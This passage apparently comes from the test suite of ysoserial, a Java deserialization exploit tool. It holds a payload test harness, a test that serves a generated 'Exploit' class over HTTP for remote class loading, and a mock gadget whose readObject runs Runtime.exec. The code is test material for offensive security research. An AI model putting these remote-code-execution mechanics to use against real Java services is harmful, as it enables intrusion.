t, final Class<?>[] addlClassesForClassLoader, final String[] deps,\n            final byte[] serialized, final Class<?> customDeserializer ) {\n        return new Callable<Object>() {\n\n            public Object call () throws Exception {\n                return deserializeWithDependencies(serialized, deps, addlClassesForClassLoader, customDeserializer);\n            }\n        };\n    }\n\n\n    private static boolean checkPrecondition ( Class<? extends ObjectPayload<?>> pc, String precondition )\n            throws NoSuchMethodException, SecurityException, IllegalAccessException, IllegalArgumentException, InvocationTargetException {\n        Method precondMethod = pc.getMethod(precondition);\n        return (Boolean) precondMethod.invoke(null);\n    }\n\n\n    private static String[] buildDeps ( final Class<? extends ObjectPayload<?>> payloadClass ) throws Exception {\n        String[] baseDeps;\n        if ( DynamicDependencies.class.isAssignableFrom(payloadClass) ) {\n            Method method = payloadClass.getMethod(\"getDependencies\");\n            baseDeps = (String[]) method.invoke(null);\n        }\n        else {\n            baseDeps = Dependencies.Utils.getDependencies(payloadClass);\n        }\n        if ( System.getProperty(\"properXalan\") != null ) {\n            baseDeps = Arrays.copyOf(baseDeps, baseDeps.length + 1);\n            baseDeps[ baseDeps.length - 1 ] = \"xalan:xalan:2.7.2\";\n        }\n        return baseDeps;\n    }\n\n\n    static Object deserializeWithDependencies ( byte[] serialized, final String[] dependencies, final Class<?>[] classDependencies, final Class<?> customDeserializer )\n            throws Exception {\n        File[] jars = dependencies.length > 0\n            ? Maven.configureResolver()\n                .withMavenCentralRepo(true)\n                .withRemoteRepo(\"jenkins\", \"https://repo.jenkins-ci.org/public/\", \"default\")\n                .resolve(dependencies).withoutTransitivity().asFile()\n            : new File[0];\n        URL[] urls = new URL[jars.length];\n        for ( int i = 0; i < jars.length; i++ ) {\n            urls[ i ] = jars[ i ].toURI().toURL();\n        }\n\n        URLClassLoader isolatedClassLoader = new URLClassLoader(urls, null) {\n\n            {\n                for ( Class<?> clazz : classDependencies ) {\n                    byte[] classAsBytes = ClassFiles.classAsBytes(clazz);\n                    defineClass(clazz.getName(), classAsBytes, 0, classAsBytes.length);\n                }\n                byte[] deserializerClassBytes = ClassFiles.classAsBytes(Deserializer.class);\n                defineClass(Deserializer.class.getName(), deserializerClassBytes, 0, deserializerClassBytes.length);\n\n                if ( customDeserializer != null ) {\n\n                    try {\n                        Method method = customDeserializer.getMethod(\"getExtraDependencies\");\n                        for ( Class extra : (Class[])method.invoke(null)) {\n                            deserializerClassBytes = ClassFiles.classAsBytes(extra);\n                            defineClass(extra.getName(), deserializerClassBytes, 0, deserializerClassBytes.length);\n                        }\n                    } catch ( NoSuchMethodException e ) { }\n\n                    deserializerClassBytes = ClassFiles.classAsBytes(customDeserializer);\n                    defineClass(customDeserializer.getName(), deserializerClassBytes, 0, deserializerClassBytes.length);\n                }\n\n            }\n        };\n\n        Class<?> deserializerClass = isolatedClassLoader.loadClass(customDeserializer != null ? customDeserializer.getName() : Deserializer.class.getName());\n        Callable<Object> deserializer = (Callable<Object>) deserializerClass.getConstructors()[ 0 ].newInstance(serialized);\n\n        ClassLoader ccl = Thread.currentThread().getContextClassLoader();\n        try {\n            // set CCL for Clojure https://groups.google.com/forum/#!topic/clojure/F3ERon6Fye0\n            Thread.currentThread().setContextClassLoader(isolatedClassLoader);\n            final Object obj = deserializer.call();\n            return obj;\n        } finally {\n            Thread.currentThread().setContextClassLoader(ccl);\n        }\n    }\n\n    public static void main(String[] args) {\n\n        JUnitCore junit = new JUnitCore();\n        PayloadListener listener = new PayloadListener();\n        junit.addListener(listener);\n        Result result = junit.run(PayloadsTest.class);\n        System.exit(result.wasSuccessful() ? 0 : 1);\n    }\n\n    public static class StdIo {\n\n        private static final PrintStream realOut = System.out;\n        private static final PrintStream realErr = System.err;\n\n        public static void restoreStreams() {\n            setStreams(realOut, realErr);\n        }\n\n        public static void setStreams(PrintStream out, PrintStream err) {\n            System.setOut(out);\n            System.setErr(err);\n        }\n\n        public static void setStreams(OutputStream out, OutputStream err) {\n            setStreams(new PrintStream(out), new PrintStream(err));\n        }\n    }\n\n    public static class PayloadListener extends RunListener {\n        public enum Status {\n            SUCCESS,\n            FAILURE,\n            IGNORE,\n            ASSUMPTION_FAILURE\n        }\n\n        private Map<Description, ByteArrayOutputStream> outs = new HashMap<Description, ByteArrayOutputStream>();\n        private Map<Description, ByteArrayOutputStream> errs = new HashMap<Description, ByteArrayOutputStream>();\n\n        private Map<Description, Status> statuses = new HashMap<Description, Status>();\n\n        private Map<Description, Failure> failures = new HashMap<Description, Failure>();\n\n        @Override\n        public void testStarted(Description description) throws Exception {\n            System.out.println(getPayload(description.getDisplayName()) + \": STARTED\");\n\n            statuses.put(description, Status.SUCCESS);\n\n            ByteArrayOutputStream out = new ByteArrayOutputStream();\n//            ByteArrayOutputStream err = new ByteArrayOutputStream();\n\n            outs.put(description, out);\n//            errs.put(description, err);\n\n            StdIo.setStreams(out, out);\n        }\n\n        @Override\n        public void testFinished(Description description) throws Exception {\n            outs.get(description).close();\n            //errs.get(description).close();\n\n            StdIo.restoreStreams();\n\n            Status status = statuses.get(description);\n            System.out.println(getPayload(description.getDisplayName()) + \": \" + status);\n            if (status == Status.FAILURE) System.err.println(outs.get(description).toString());\n        }\n\n        @Override\n        public void testFailure(Failure failure) throws Exception {\n            statuses.put(failure.getDescription(), Status.FAILURE);\n            failures.put(failure.getDescription(), failure);\n        }\n\n        @Override\n        public void testAssumptionFailure(Failure failure) {\n            statuses.put(failure.getDescription(), Status.ASSUMPTION_FAILURE);\n            failures.put(failure.getDescription(), failure);\n        }\n\n        // testPayload[payloadClass: class ysoserial.payloads.JavassistWeld1](ysoserial.test.payloads.PayloadsTest)\n        public static String getPayload(String displayName) {\n            return displayName.replaceAll(\".*\\\\[\\\\S+: class (\\\\w+\\\\.)+(\\\\w+)\\\\].*\", \"$2\");\n        }\n    }\n}\n"
  },
  {
    "path": "src/test/java/ysoserial/test/payloads/RemoteClassLoadingTest.java",
    "content": "package ysoserial.test.payloads;\n\n\nimport java.io.ByteArrayInputStream;\nimport java.io.IOException;\nimport java.io.Serializable;\nimport java.util.Random;\nimport java.util.concurrent.Callable;\n\nimport fi.iki.elonen.NanoHTTPD;\nimport fi.iki.elonen.NanoHTTPD.Response.Status;\nimport javassist.ClassClassPath;\nimport javassist.ClassPool;\nimport javassist.CtClass;\nimport ysoserial.test.WrappedTest;\n\n\n/**\n * @author mbechler\n *\n */\npublic class RemoteClassLoadingTest implements WrappedTest {\n\n    int port;\n    private String command;\n    private String className;\n\n    public RemoteClassLoadingTest ( String command ) {\n        this.command = command;\n        this.port = new Random().nextInt(65535-1024)+1024;\n        this.className = \"Exploit-\" + System.currentTimeMillis();\n    }\n\n\n    public String getPayloadArgs () {\n        return String.format(\"http://localhost:%d/\", this.port) + \":\" + this.className;\n    }\n\n    public int getHTTPPort () {\n        return this.port;\n    }\n\n    public Callable<Object> createCallable ( Callable<Object> innerCallable ) {\n        return new RemoteClassLoadingTestCallable(this.port, makePayloadClass(), innerCallable);\n    }\n\n    public String getExploitClassName () {\n        return this.className;\n    }\n\n    protected byte[] makePayloadClass () {\n        try {\n            ClassPool pool = ClassPool.getDefault();\n            pool.insertClassPath(new ClassClassPath(Exploit.class));\n            final CtClass clazz = pool.get(Exploit.class.getName());\n            clazz.setName(this.className);\n            clazz.makeClassInitializer().insertAfter(\"java.lang.Runtime.getRuntime().exec(\\\"\" + command.replaceAll(\"\\\"\", \"\\\\\\\"\") + \"\\\");\");\n            return clazz.toBytecode();\n        }\n        catch ( Exception e ) {\n            e.printStackTrace();\n            return new byte[0];\n        }\n    }\n\n    static class RemoteClassLoadingTestCallable extends NanoHTTPD implements Callable<Object> {\n\n        private Callable<Object> innerCallable;\n        private byte[] data;\n        private Object waitLock = new Object();\n\n\n        public RemoteClassLoadingTestCallable ( int port, byte[] data, Callable<Object> innerCallable ) {\n            super(port);\n            this.data = data;\n            this.innerCallable = innerCallable;\n\n        }\n\n\n        public void waitFor() throws InterruptedException {\n            synchronized ( this.waitLock ) {\n                this.waitLock.wait(1000);\n            }\n        }\n\n\n        public Object call () throws Exception {\n            try {\n                setup();\n                Object res = this.innerCallable.call();\n                waitFor();\n                Thread.sleep(1000);\n                return res;\n            }\n            finally {\n                cleanup();\n            }\n\n        }\n\n        private void setup () throws IOException {\n            start(NanoHTTPD.SOCKET_READ_TIMEOUT, false);\n        }\n\n\n        private void cleanup () {\n            stop();\n        }\n\n\n        @Override\n        public Response serve ( IHTTPSession sess ) {\n            System.out.println(\"Serving \" + sess.getUri());\n            Response response = newFixedLengthResponse(Status.OK, \"application/octet-stream\", new ByteArrayInputStream(data), data.length);\n            synchronized ( this.waitLock ) {\n                this.waitLock.notify();\n            }\n            return response;\n        }\n\n    }\n\n\n\n    public static class Exploit implements Serializable {\n\n        private static final long serialVersionUID = 1L;\n\n    }\n}\n"
  },
  {
    "path": "src/test/java/ysoserial/test/payloads/TestHarnessTest.java",
    "content": "package ysoserial.test.payloads;\n\nimport java.io.IOException;\nimport java.io.ObjectInputStream;\nimport java.io.Serializable;\n\nimport org.hamcrest.CoreMatchers;\nimport org.junit.Assert;\nimport org.junit.Test;\nimport ysoserial.payloads.ObjectPayload;\n\npublic class TestHarnessTest {\n\t// make sure test harness fails properly\n\t@Test\n\tpublic void testHarnessExecFail() throws Exception {\n\t\ttry {\n\t\t\tPayloadsTest.testPayload(NoopMockPayload.class, new Class[0]);\n\t\t\tAssert.fail(\"should have failed\");\n\t\t} catch (AssertionError e) {\n\t\t\tAssert.assertThat(e.getMessage(), CoreMatchers.containsString(\"test file should exist\"));\n\n\t\t}\n\t}\n\n\t// make sure test harness fails properly\n\t@Test\n\tpublic void testHarnessClassLoaderFail() throws Exception {\n\t\ttry {\n\t\t\tPayloadsTest.testPayload(ExecMockPayload.class, new Class[0]);\n\t\t\tAssert.fail(\"should have failed\");\n\t\t} catch (AssertionError e) {\n\t\t\t//Assert.assertThat(e.getMessage(), CoreMatchers.containsString(\"ClassNotFoundException\"));\n\t\t}\n\t}\n\n\t// make sure test harness passes properly with trivial execution gadget\n\t@Test\n\tpublic void testHarnessExecPass() throws Exception {\n\t\tPayloadsTest.testPayload(ExecMockPayload.class, new Class[] { ExecMockSerializable.class });\n\t}\n\n\tpublic static class ExecMockPayload implements ObjectPayload<ExecMockSerializable> {\n\t\tpublic ExecMockSerializable getObject(String command) throws Exception {\n\t\t\treturn new ExecMockSerializable(command);\n\t\t}\n\t}\n\n\tpublic static class NoopMockPayload implements ObjectPayload<Integer> {\n\t\tpublic Integer getObject(String command) throws Exception {\n\t\t\treturn 1;\n\t\t}\n\t}\n\n\t@SuppressWarnings(\"serial\")\n\tpublic static class ExecMockSerializable implements Serializable {\n\t\tprivate final String cmd;\n\t\tpublic ExecMockSerializable(String cmd) { this.cmd = cmd; }\n\n\t\tprivate void readObject(final ObjectInputStream ois) throws IOException, ClassNotFoundException {\n\t\t    ois.defaultReadObject();\n\t\t\ttry {\n\t\t\t\tRuntime.getRuntime().exec(cmd);\n\t\t\t} catch (IOException e) {\n\t\t\t\tthrow new RuntimeException(e);\n\t\t\t}\n\t\t}\n\t}\n}\n"
  },
  {
    "path": "src/test/java/ysoserial/test/util/Callables.java",
    "content": "package ysoserial.test.util;\n\nimport java.util.concurrent.Callable;\n\npublic class Callables {\n    public static interface BeforeAfterCallback {\n        public void before();\n        public void after();\n    }\n\n    public static class Wrapper<T> implements Callable<T> {\n        private final Callable<T> callable;\n        private final BeforeAfterCallback callback;\n\n        public Wrapper(Callable<T> callable, BeforeAfterCallback callback) {\n            this.callable = callable;\n            this.callback = callback;\n        }\n\n        @Override\n        public T call() throws Exception {\n            try {\n                callback.before();\n                return callable.call();\n            } finally {\n                callback.after();\n            }\n        }\n    }\n\n    public static <T> Callable<T> wrap(Callable<T> callable, BeforeAfterCallback callback) {\n        return new Wrapper<T>(callable, callback);\n    }\n}\n"
  },
  {
    "path": "src/test/java/ysoserial/test/util/Files.java",
    "content": "package ysoserial.test.util;\n\nimport java.io.File;\n\npublic class Files {\n    public static void waitForFile(File file, int timeoutMs) throws InterruptedException {\n        long timeout = System.currentTimeMillis() + timeoutMs;\n        while (! file.exists() && System.currentTimeMillis() < timeout) {\n            Thread.sleep(10);\n        }\n    }\n}\n"
  },
  {
    "path": "src/test/java/ysoserial/test/util/GadgetsTest.java",
    "content": "package ysoserial.test.util;\n\nimport org.junit.Test;\nimport ysoserial.payloads.util.Gadgets;\n\npublic class GadgetsTest {\n    @Test\n    public void test_createTemplatesImpl_noCompilationError() throws Exception {\n        Gadgets.createTemplatesImpl(\"hostname\");\n        Gadgets.createTemplatesImpl(\"echo 'foobar'\");\n        Gadgets.createTemplatesImpl(\"echo \\\"foobar\\\"\");\n        Gadgets.createTemplatesImpl(\"\\\"`';\\\\\");\n    }\n}\n"
  },
  {
    "path": "src/test/java/ysoserial/test/util/OS.java",
    "content": "package ysoserial.test.util;\n\npublic enum OS {\n    WINDOWS,\n    LINUX,\n    OSX,\n    OTHER;\n\n    private static final OS os = determineOs();\n\n    public static OS get() {\n        return os;\n    }\n\n    private static OS determineOs() {\n        String osName = System.getProperty(\"os.name\", \"other\").toLowerCase();\n        if (osName.contains(\"windows\")) {\n            return WINDOWS;\n        } else if (osName.contains(\"mac os x\")) {\n            return OSX;\n        } else if (osName.contains(\"linux\")) {\n            return LINUX;\n        } else {\n            return OTHER;\n        }\n    }\n\n    public static String getTmpDir() {\n        return System.getProperty(\"java.io.tmpdir\");\n    }\n}\n"
  },
  {
    "path": "src/test/java/ysoserial/test/util/Throwables.java",
    "content": "package ysoserial.test.util;\n\npublic class Throwables {\n\tpublic static Throwable getInnermostCause(final Throwable t) {\n\t\tfinal Throwable cause = t.getCause();\n\t\treturn cause == null || cause == t ? t : getInnermostCause(cause);\n\t}\n}\n"
  }
]